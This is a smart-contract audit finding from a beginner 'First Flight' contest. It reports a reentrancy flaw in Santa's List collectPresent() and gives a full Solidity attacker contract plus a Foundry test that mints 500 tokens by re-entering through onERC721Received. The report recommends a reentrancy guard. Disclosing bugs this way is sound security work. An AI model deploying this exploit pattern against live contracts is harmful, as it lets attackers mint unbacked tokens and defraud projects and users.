First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in collectPresent()

wallebach

Summary

In collectPresent() it is possible to generate a huge number of tokens bypassing the rules.

Vulnerability Details

The user of the SantasList can be either an EOA or another contract. If the caller of SantasList is a contract then it is necessary to pay attention to _safeMint() function in _mintAndIncrement(): _safeMint() calls _checkOnERC721Received() which allows to verify that a contract can receive ERC721 tokens. This can have security implications.
Consider the following contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
​
interface ISantasList {
function collectPresent() external;
function balanceOf(address owner) external returns (uint256);
function transferFrom(address from, address to, uint256 tokenId) external;
}
​
contract AttackerContract is Ownable {
ISantasList santasList;
​
uint256 counter = 0;
​
// Here the attacker specifies how many tokens he
// would like to generate in a single transaction.
uint256 public constant WISHED_AMOUNT_OF_TOKENS = 500;
​
constructor(address _santasListAddress) Ownable(msg.sender) {
santasList = ISantasList(_santasListAddress);
}
​
function attack() public onlyOwner {
// Call the vulnarable function.
santasList.collectPresent();
}
​
// When msg.sender is a contract,
// _safeMint from SantasList will trigger onERC721Received()
function onERC721Received(address from, address, /*to*/ uint256 tokenId, bytes memory /* data */ )
public
returns (bytes4)
{
if (counter < WISHED_AMOUNT_OF_TOKENS) {
// Each time transfer tokens to attacker
// in order to bypass balance check in collectPresent()
santasList.transferFrom(from, owner(), tokenId);
counter++;
santasList.collectPresent();
}
​
counter = 0;
​
// Return onERC721Received.selector
// in order not to revert in _safeMint() -> __checkOnERC721Received()
return 0x150b7a02;
}
}

A test below confirms that the attack succeeds:

function testCollectPresentAttack() public {
// Assume that the attacker is someone with e.g. NICE status
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.NICE);
santasList.checkTwice(attacker, SantasList.Status.NICE);
vm.stopPrank();
​
// Setting the time after Christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// Confirm that the attacker had no tokens before the attack
assertEq(santasList.balanceOf(attacker), 0);
​
// Perform the attack
vm.prank(attacker);
attackerContract.attack();
​
// Confirm that the attacker now has wished amount of tokens
assertEq(santasList.balanceOf(attacker), attackerContract.WISHED_AMOUNT_OF_TOKENS());
}

Impact

High. collectPresent() allows attackers to generate as many tokens as they want.

Tools Used

Manual check.

Recommendations

Consider adding reentrancy guard to collectPresent().

Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.